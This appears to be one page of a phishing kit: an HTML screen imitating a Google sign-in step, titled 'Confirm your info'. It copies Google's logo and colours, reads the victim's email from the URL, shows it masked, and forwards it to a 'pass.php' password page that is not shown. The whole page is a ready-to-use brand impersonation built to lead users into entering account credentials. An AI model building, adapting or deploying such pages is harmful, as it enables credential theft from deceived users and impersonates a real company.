<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Confirm your info</title>
  <script src="https://cdn.tailwindcss.com"></script>
  <script>
    tailwind.config = { theme: { extend: { colors: { google: { blue: '#1a73e8' } } } } }
  </script>
</head>
<body class="min-h-screen bg-slate-50">
  <div class="flex min-h-screen items-center justify-center py-8">
    <div class="w-full max-w-[720px]">
      <div class="mx-auto rounded-2xl bg-white shadow-sm ring-1 ring-slate-200 p-8 sm:p-10">
        <div class="mb-6 flex items-center gap-3">
          <div class="grid h-8 w-8 place-items-center rounded-full border border-slate-200">
            <svg viewBox="0 0 256 256" class="h-6 w-6" aria-hidden="true">
              <path fill="#4285F4" d="M255.9 133.4c0-11.4-1-19.7-3.3-28.3H130.7v53.5h71.9c-1.5 12.1-9.7 30.3-27.9 42.5l-.25 1.7 40.5 31.4 2.8.26c25.6-23.6 37.7-58.4 37.7-101.1Z"/>
              <path fill="#34A853" d="M130.7 256c34.8 0 64.1-11.5 85.5-31.3l-40.8-31.7c-10.9 7.5-25.6 12.7-44.7 12.7-34.2 0-63.3-22.6-73.6-53.9l-1.52.13-39.92 30.9-.52 1.46C35.38 226.1 79.88 256 130.7 256Z"/>
              <path fill="#FBBC05" d="M57.1 151.8c-2.7-8.6-4.2-17.7-4.2-27s1.5-18.4 4.2-27l-.07-1.8L16.62 64.7l-1.41.66C5.31 86.5 0 108.6 0 132.9s5.31 46.4 15.21 67.6l41.89-32.3Z"/>
              <path fill="#EA4335" d="M130.7 50.7c24.2 0 40.6 10.4 49.9 19.1l36.5-35.6C194.8 12.3 165.5 0 130.7 0 79.88 0 35.38 29.9 15.21 65.3l41.89 32.5c10.36-31.3 39.46-47.1 73.6-47.1Z"/>
            </svg>
          </div>
          <div>
            <h1 class="text-2xl font-medium text-slate-900">Confirm your info</h1>
            <p id="desc" class="text-sm text-slate-600">Please confirm your email to continue</p>
          </div>
        </div>

        <div class="space-y-5">
          <div>
            <label class="block text-sm font-medium text-slate-700">Email</label>
            <div class="mt-1 rounded-md border border-slate-300 bg-slate-50 px-3.5 py-2.5 text-[15px] text-slate-900">
              <span id="maskedEmail">user*****@domain.com</span>
            </div>
          </div>

          <div class="flex items-center justify-between pt-2">
            <a href="index.html" class="text-sm font-medium text-google-blue hover:underline">Change email</a>
            <a id="continueBtn" href="pass.php" class="inline-flex items-center rounded-full bg-google-blue px-5 py-2.5 text-sm font-semibold text-white shadow-sm hover:bg-blue-600">Continue</a>
          </div>
        </div>
      </div>

      <div class="mx-auto mt-4 flex max-w-[720px] items-center justify-between px-2 text-xs text-slate-600">
        <span>English (United States)</span>
        <div class="flex items-center gap-4">
          <a href="#" class="hover:underline">Help</a>
          <a href="#" class="hover:underline">Privacy</a>
          <a href="#" class="hover:underline">Terms</a>
        </div>
      </div>
    </div>
  </div>

  <script>
    function maskEmail(email) {
      const [name, domain] = email.split('@');
      if (!domain) return 'user*****@example.com';
      const visible = name.slice(0, 2);
      return visible + '*****@' + domain;
    }
    const params = new URLSearchParams(window.location.search);
    const email = params.get('email') || '';
    if (email) {
      document.getElementById('maskedEmail').textContent = maskEmail(email);
      document.getElementById('desc').textContent = 'Please confirm ' + maskEmail(email) + ' to continue';
      const cont = document.getElementById('continueBtn');
      const url = new URL(cont.href, window.location.origin);
      url.searchParams.set('email', email);
      cont.href = url.toString();
    }
  </script>
</body>
</html>